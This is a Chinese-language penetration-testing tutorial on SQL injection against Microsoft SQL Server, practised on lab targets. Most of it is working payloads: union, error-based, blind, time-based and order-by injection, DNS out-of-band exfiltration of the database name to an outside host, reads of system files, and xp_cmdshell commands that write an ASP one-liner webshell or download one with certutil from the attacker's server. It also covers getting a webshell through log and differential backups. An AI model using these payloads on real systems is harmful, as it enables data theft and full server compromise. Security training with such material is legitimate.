1.1. 前情提要

  1. 漏洞环境可以使用https://github.com/Larryxi/MSSQL-SQLi-Labs

  2. 或者网上找一些开放的靶场,比如 https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

  3. 大多数注入方法都与MYSQL注入篇相似,但是MSSQL比MYSQL相对权限要更大

1.2. 联合查询(UNION)注入

1.2.1. 概念

和Mysql可以说是一模一样,只是一些语句不同而已,如果可以操作SQL语句且有回显的情况下,就可以通过union构造语句返回直接返回结果。

1.2.2. 注意

  1. union查询时,我们构造的select语句的字段数要和当前表的字段数相同才能联合查询,否则会抛出异常(可能是页面不会显示内容或者直接提示错误等)
  2. 若回显仅支持第一行数据的话,我们需要让union前边正常查询的语句返回的结果为空,才能让我们想要的数据展现出来;返回为空只需要让union前面的内容在数据库中查询不到结果即可
  3. unionunion all区别
    • union: 对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序
    • union all: 对两个结果集进行并集操作,包括重复行,不进行排序

1.2.3. 注入流程

确认字段

order by 4 -- 页面正常
order by 5 -- 页面不正常

image-20211222165606706

说明有4列字段

确认显位

id=-2 union all select '1','2','3','4'

-是为了让union查询前部分无结果,以便显示后部分的查询结果

这里1 2 3 4都用单引号引起来,是因为如果直接用数字型的1 2 3 4,有些地方类型转换会出现错误,导致无法显示出来,所以建议用'1'或者null

可以很明显的看出来显位是2和3

image-20211222165900941

查询数据

  • 查询是否是sysadmin,以及本地服务器名称
id=-2 union all select '1',str(is_srvrolemember('sysadmin')),@@servername,'4'

image-20211222171533649

  • 查询当前数据库和数据库用户
-2 union all select '1',db_name(),user,'4'

image-20211222171938390

使用如下方法也可以查询当前数据库名

id=-2 union all select '1',catalog_name,'3','4' from information_schema.schemata

image-20211222174435121

  • 查询其他数据库

第一种方法:可以直接通过遍历db_name(n)中的n值来查询

id=-2 union all select '1',db_name(1),db_name(2),'4'

image-20211222172038569

第二种方法:也可以通过查询master..sysdatabases来获取数据库名

id=-2 union all select '1',name,'3','4' from master..sysdatabases -- master
id=-2 union all select '1',name,'3','4' from master..sysdatabases where name != 'master' -- model
id=-2 union all select '1',name,'3','4' from master..sysdatabases where name not in ('master','model') -- mozhe_db_v2

image-20211222174311500

  • 查询数据库的表名

在获取了当前的数据库后,需要获取当前数据库的表,使用current_database..sysobjects(此时current_databasemozhe_db_v2,所以为mozhe_db_v2..systobjects),条件为U(用户表)

# 查当前数据库的第一个表(默认使用当前数据库)
id=-2 union all select top 1 '1',name,'3','4' from sysobjects where xtype='u'
id=-2 union all select top 1 '1',name,'3','4' from mozhe_db_v2..sysobjects where xtype='u'
# 查当前数据库的第二个表(默认使用当前数据库)
id=-2 union all select top 1 '1',name,'3','4' from sysobjects where xtype='u' and name not in ('manage')
# 查master数据库的第一个表
id=-2 union all select top 1 '1',name,'3','4' from master..sysobjects where xtype='u'

image-20211223095106953

# 查当前数据库的第一个表(默认使用当前数据库)
select top 1 table_name from information_schema.tables
# 查询master库第一个表名
select top 1 table_name from master.information_schema.tables

二者区别:

  1. database.information_schema.tables包含视图
  2. database..sysobjects where xtype = 'U'只包含用户创建的表
  • 查询列名

现在已经知道了表名为manage,尝试查询列名

# 支持跨库查询
-2 union all select top 1 '1',name,'3','4' from syscolumns where id = (select id from sysobjects where name='manage') -- id
-2 union all select top 1 '1',name,'3','4' from syscolumns where id = (select id from sysobjects where name='manage') and name != 'id' -- username
-2 union all select top 1 '1',name,'3','4' from syscolumns where id = (select id from sysobjects where name='manage') and name not in ('id','username') -- password

# 也可用
-2 union all select top 1 '1',column_name,'3','4' from information_schema.columns where table_name = 'manage'
-2 union all select top 1 '1',column_name,'3','4' from mozhe_db_v2.information_schema.columns where table_name = 'manage'

image-20211223095551325

# 不支持跨库查询
-2 union all select top 1 '1',name,'3','4' from syscolumns where id = OBJECT_ID('manage')
# 也可用
-2 union all select top 1 '1',(select top 1 col_name(object_id('manage'),1) from sysobjects),'3','4'
-2 union all select top 1 '1',(select top 1 col_name(object_id('manage'),1) from sysobjects),'3','4'

image-20211223100716469

  • 查值

现在我们已经知道表名、列名了,就可以直接查值了

select 列名 from 表名;

-2 union all select '1',username,password,'4' from manage

image-20211223100853063

1.2.4. 总结

过程和mysql一模一样,区别就是一些语句的用法差异

1.3. 报错注入

1.3.1. 概念

报错注入通常情况下在服务器开启报错信息返回,也就是发生错误时返回报错信息,通过特殊函数的错误使用使其参数被页面输出。

常见的报错注入出现在类型转换错误的情况下,如给db_name()强制转换为int,就会抛出包含数据库名的异常信息。

1.3.2. 注入举例

没有自己搭环境,抄几张罗总的截图,谢谢罗总

语句都和联合注入中一样,只不过替换过来稍作修改即可

select * from users where id = '1' and 1 = convert(int,db_name())--+

img

1.3.3. 报错函数

convert()

函数说明:

CONVERT()函数是把⽇期转换为新数据类型的通⽤函数。

CONVERT(data_type(length), data_to_be_converted, style)
/* *
注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。
*/

报错原理:

对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样就能得到的这个SQL查询的结果了。

select * from users where id = '1' and 1 = convert(int,db_name())--+

img

cast()

函数说明:

此函数将一种数据类型的表达式转换为另一种数据类型。

CAST ( expression AS data_type [ ( length ) ] )  
/* *
expression:任何有效的表达式。
data_type:目标数据类型。这包括 xml、bigint 和 sql_variant;不能使用别名数据类型。
length:一个可选的整数,用于指定目标数据类型的长度,用于允许用户指定长度的数据类型;默认值为 30。
*/

报错原理:

强制类型转换时,如果类型不匹配将会将数据通过异常的形式抛出

select * from users where id = '1' and 1 = cast((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) as varchar)--+

img

SELECT cast(@@version as int)

除法

说明:

在进行除法运算时,如1/db_name(),会尝试将db_name()转化为int而抛出异常信息(隐式转换)

select 1/db_name()

> < =

说明:

和上面一样比较时类型转换错误,数字前面也可以加一些其他的运算符,比如~-等,可能有绕过的作用

select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users')) > 0--+
select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users')) = 0--+
select * from users where id = '1' and (select top 1 name from test..sysobjects where xtype= 'u' and name not in ('users')) < 0--+

img

db_name()

函数说明:

此函数返回指定数据库的名称

DB_NAME ([ database_id ])
/* *
名称DB_NAME将返回的数据库的标识号 (ID) 。如果调用DB_NAME省略database_id,则DB_NAME返回当前数据库的名称。
返回nvarchar(128)
*/

报错原理:

会强制将 database_id 的值转换为 smallint类型,而查询出来的结果为nvarchar,因此导致抛出异常

select * from users where id = '1' and 1 = db_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+

img

file_name()

函数说明:

此函数返回给定文件标识 (ID) 号的逻辑文件名

file_name(id)
/* *
其文件名的文件标识号FILE_NAME。file_id具有int数据类型。返回nvarchar(128)
file_ID对应于 sys.master_files 目录视图或 sys.database_files 目录视图中的 file_id 列。
*/

报错原理:

和上面一样,类型转换出错,下面一样的就不再写原理了

select * from users where id = '1' and 1 = file_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+

filegroup_name()

函数说明:

此函数返回指定文件组标识 (ID) 号的文件组名称。

FILEGROUP_NAME ( filegroup_id )
/* *
filegroup_id: 将返回其文件组名称 FILEGROUP_NAME 的文件组 ID 号,filegroup_id 具有 smallint 数据类型。
*/
select * from users where id = '1' and 1 = filegroup_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+

col_name()

函数说明:

此函数根据表列的表标识号和列标识号值返回表列的名称

COL_NAME ( table_id , column_id ) 
/* *
table_id 自变量具有一个 int 数据类型
column_id 自变量具有一个 int 数据类型,返回系统名称
*/
select * from users where id = '1' and 1 = col_name(1, (select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+

object_name()

函数说明:

此函数返回架构范围内对象的数据库对象名称

OBJECT_NAME ( object_id [, database_id ] )  
/* *
object_id 的数据类型为 int,并假定为指定数据库或当前数据库上下文中的架构范围内的对象
database_id 的数据类型为 int。要在其中查找对象的数据库的 ID
返回sysname
*/
select * from users where id = '1' and 1 = object_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+

type_name()

函数说明:

返回指定类型 ID 的未限定的类型名称

TYPE_NAME ( type_id )
/* *
type_id 的数据类型为 int,它可以引用调用方有权访问的任意架构中的类型。返回sysname
*/
select * from users where id = '1' and 1 = type_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+

schema_name()

函数说明:

返回与架构 ID 关联的架构名称

SCHEMA_NAME ( [ schema_id ] )  
/* *
schema_id    架构的 ID。 
schema_id 是 int。如果没有定义 schema_id,则 SCHEMA_NAME 将返回调用方的默认架构的名称。
schema_id 不是有效 ID 时,返回 NULL* /

其他函数

上面连续很多的函数都是参数类型的问题,导致异常,其他还有很多,比如

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • ...

having 1=1 爆表名

说明:

having需要与聚合函数group by一起使用,当无group by时,会直接爆出当前表

select * from users where id='1' having 1=1;

image.png

group by ... having 1=1 爆列名

select * from users where id='1' group by username,id having 1=1;

image.png

1.4. 盲注

1.4.1. 布尔盲注

也和mysql一样,不过是一些语句的差异,主要利用语法

# 如果condition为真,那么整条where语句仍然为真
# 如果condition为假,那么整条where语句为假
select * from users where username=$username and (condition)

注入判断

一般通过一些表达式的差异性来确认结果

and 2*3 = 6 -- 正常回显

image-20211223101950716

and 2*3 = 5 -- 错误回显

image-20211223102904970

常用函数

  • len()
  • ascii()
  • substring()
  • count()

注入举例

过程和mysql布尔盲注过程一样,流程也是判断长度->数据库名->表名->列名->值

语句和联合注入一样,只是因为属于盲注所以多了一些判定条件而已,这里举几个例子来抛砖引玉吧

  • 获取数据库名长度
id=2 and len(db_name()) > 10 -- true
id=2 and len(db_name()) > 11 -- false
id=2 and len(db_name()) = 11 -- true

说明数据库长度为 11

image-20211223103927411

  • 查看数据库第一位
id=2 and ascii(substring(db_name(),1,1)) > 108 -- true
id=2 and ascii(substring(db_name(),1,1)) > 109 -- false
id=2 and ascii(substring(db_name(),1,1)) = 109 -- true

# 也可以不转换为ascii码判断(最后得出数据库 mozhe_db_v2)
id=2 and substring(db_name(),1,1) = 'm'
id=2 and substring(db_name(),11,1) = '2'

image-20211223104246807

  • 查看当前数据库有多少表
# 说明有2个表
id=2 and (select count(*) from sysobjects where xtype='U') = 2 -- true
  • 查看第一个表的第一位
# 第一位是m
id=2 and ascii(substring((select top 1 name from sysobjects where xtype='u'),1,1)) = 109 -- true

1.4.2. 时间盲注

注入判断

类似于布尔盲注,但是从页面内容看不出来差异,只能通过响应时间来判断,因此会用到延时函数 waitfor delay

WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作⽤就是等待特定时间,然后继续执⾏后 续的语句。它包含⼀个参数DELAY,⽤来指定等待的时间。

如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。

语法:

# n 为延时多少秒
waitfor delay '0:0:n'

# 延时5秒
waitfor delay '0:0:5'

在MSSQL中,默认可使用堆叠查询,这个也是判断mssql与mysql的区别之一,所以在判断注入点有三种方式,如下:

  • 方法一:直接带入查询
id=2 waitfor delay '0:0:5'

image-20211223105616001

  • 方法二:堆叠查询
id=2;waitfor delay '0:0:5'

image-20211223105651467

  • 方法三:判断条件
id=2 if(1=1) waitfor delay '0:0:5'

image-20211223105903701

常用函数

除了刚才布尔盲注用到的常用函数外,还使用到了如下的一些函数,主要是延时和条件判断

  • waitfor delay '0:0:n'
  • IF...ELSE...
  • case when exp then state1 ELSE state2 end

注入举例

还是举个例子吧,抛砖引玉,大家可以自由发挥

  • 判断当前数据库第一位是不是m
if(substring(db_name(),1,1)) = 'm' waitfor delay '0:0:5'

image-20211223110755772

1.5. DNS带外(OOB)注入

1.5.1. 概念

和mysql带外注入类似,只是语法不一样,限制条件不一样,可以用来简化盲注,快速获取数据

如果遇到带有禁用堆栈查询的完全盲SQL注入,则可尝试通过函数 fn_xe_file_target_read_filefn_get_audit_filefn_trace_gettable实现DNS带外(OOB)数据泄露。

1.5.2. 利用举例

利用fn_xe_file_target_read_filefn_trace_gettable

限制:需要控制服务器权限

-- 原文
exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'+(select db_name())+'.23c999e1.dns.1433.eu.org\1.xem',null,null))
-- URL编码后
id=2+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+db_name())%2b'.23c999e1.dns.1433.eu.org\1.xem',null,null))

-- 原文
exists(select * from fn_trace_gettable('\\'+(select db_name())+'.23c999e1.dns.1433.eu.org\1.trc',default))
-- URL编码后
id=2+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+db_name())%2b'.23c999e1.dns.1433.eu.org\1.trc',default))

1.6. 堆叠注入

MSSQL 默认是可以多语句查询,通过分号;分割,其与mysql不同的是,MSSQL非常灵活,且可执行系统命令,当存在堆叠查询的语句中,就可以考虑执行系统命令,写入webshell,远程下载木马文件,执行命令getshell等等。

id=2;waitfor delay '0:0:5'

1.7. Order by 注入

1.7.1. 概念

order by 注入通常出现在排序中,前端展示的表格,某一列需要进行升序或者降序排列,或者做排名比较的时候常常会用到order by排序,order by在select语句中,紧跟在where [where condition]后,且order by 注入无法使用预编译来防御,由于order by 后面需要紧跟column_name,而预编译是参数化字符串,而order by后面紧跟字符串就会提示语法错误,通常防御order by 注入需要使用白名单的方式。

1.7.2. 注入判断

  • 通过order by 列名,查看排序返回内容的顺序
order by name
order by id
  • 通过超大数构成SQL语句错误
order by 999
  • 通过延时函数来判断
order by 1 if (1=1) waitfor delay '0:0:5'

1.7.3. 注入举例

开启报错

有报错的情况下,可直接接报错注入函数来抛出异常,获取我们想要的数据

order by convert(int,db_name)--+

img

关闭报错

无报错的情况下,则考虑使用时间盲注来进行测试

order by 1 if (substring(db_name(),1,1)='m') waitfor delay '0:0:5'

image-20211223141436257

1.8. 二次注入

同mysql二次注入,不多赘述

1.9. 文件读写

1.9.1. 概述

MSSQL的文件操作要求要有两大前提:

  1. 有相应的权限db_owner
  2. 知道文件的绝对路径

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshellxp_dirtree

  • 利用xp_dirtree方法来寻找
execute master..xp_dirtree 'c:' -- 列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 -- 只列c:\目录
execute master..xp_dirtree 'c:',1,1 -- 列c:\目录、文件

img

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
-- 查询数据
select * from tmp;

image-20211223152205815

  • 使用xp_cmdshell查找绝对路径

cmd中寻找某文件

for /r c:\ %i in (*.asp) do echo %i

因此只需要建立一个表存一个varchar字段就可以了

CREATE TABLE tmp (dir varchar(8000));
insert into tmp(dir) execute master..xp_cmdshell 'for /r c:\ %i in (*.asp) do echo %i';
-- 查询数据
select * from tmp;

1.9.2. 读

  1. 读取文件可以创建一个临时表,将本地文件写入该表中(无法远程登录的情况下,使用堆叠注入)
-- 建立一个临时表
create table testtable(context ntext);

-- 将本地文件写入表中
BULK INSERT testtable FROM 'c:/windows/win.ini'
WITH (
   DATAFILETYPE = 'char',
   KEEPNULLS
);

-- 查询数据
select context from testtable;

-- 删除临时表
drop table testtable;

image-20211223153027804

  1. 使用OpenRowset()函数直接读文件
(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x))

image-20211223154724201

  1. 使用xp_cmdshell执行dos命令
-- 有回显的情况下可以直接读
execute master..xp_cmdshell 'type c:/windows/win.ini';

-- 也可以先写入到文件再读
CREATE TABLE tmp (dir varchar(8000));
insert into tmp(dir) execute master..xp_cmdshell 'type c:/windows/win.ini';
-- 查询数据
select * from tmp;

1.9.3. 写

利用xp_cmdshell执行dos命令写文件

在得知绝对路径的情况下,可以使用echo写入webshell,如果需要换行则使用>>追加写入,注意如=> 等前使用^来转义,也可以使用远程下载的方式来下载webshell

-- 直接echo写入
exec master..xp_cmdshell 'echo ^<%eval request("cmd")% ^>> C:\Inetpub\wwwroot\sqlilabs\test.asp'
-- 远程下载
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "<your_vps>" C:\Inetpub\wwwroot\sqlilabs\test.asp'

1.9.4. DB_owner权限LOG备份Getshell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

SQLServer常见的备份策略:

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务日志备份

利用前提

  • 目标机器存在数据库备份文件 ,也就是如果我们利用test数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是完整模式
  • 知道网站的绝对路径
  • 该注入支持堆叠注入

利用语句:

-- 修改数据库恢复模式为 完整模式
alter database 数据库名 set RECOVERY FULL;
-- 创建一张表cmd,只有一个列 a,类型为image
create table cmd (a image);
-- 备份表到指定路径
backup log 数据库名 to disk= 'C:\Inetpub\wwwroot\sqlilabs\1.asp' with init;
-- 插入一句话到cmd表里,<%eval request("cmd")%> 的16进制
insert into cmd (a) values(0x3c256576616c20726571756573742822636d642229253e);
-- 把操作日志备份到指定文件
backup log 数据库名 to disk='C:\Inetpub\wwwroot\sqlilabs\2.asp';
-- 删除cmd表
drop table cmd;

image.png

执行完成之后会在目标网站根目录下生成1.asp和2.asp文件,其中1.asp 保存数据库,2.asp就是我们需要连接的木马文件

image.png

1.9.5. DB_owner权限差异备份Getshell

差异备份有概率会把网站搞崩,所以不建议使用差异备份

利用前提

  • 知道网站的绝对路径
  • 该注入支持堆叠注入

利用语句:

create table [dbo].[test] ([cmd] [image])
insert into [test](cmd) values(0x3c256576616c20726571756573742822636d642229253e)
backup database test to disk = 'C:\Inetpub\wwwroot\1.asp'
Drop table [test]

image.png

1.10. 技巧

1.10.1. 查询当前执行的SQL语句

可以从Access sys.dm_exec_Requestssys.dm_exec_sql_text中检索当前正在执行的SQL查询

权限:如果user在服务器上拥有VIEW SERVER STATE权限,则用户将看到SQL Server实例上正在执行的所有会话;否则,user将仅看到当前会话。

id=-2 union all select '1','2',(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),'4'

image-20211223162609078

1.10.2. 一次查询获取所有内容

有两种简单的方法可以在一个查询中检索表的全部内容-使用FOR XMLFOR JSON子句。

FOR XML子句需要指定的模式,如«raw»,因此JSON比较简洁。

-- 基于正常查询
select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto;
select name,',' from master..sysdatabases for xml path('');

-- 基于报错
and 1=(select concat_ws(0x3a,table_schema,table_name,column_name)a from information_schema.columns for json auto)
Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2022-01-21 15:43:08

results matching ""

    No results matching ""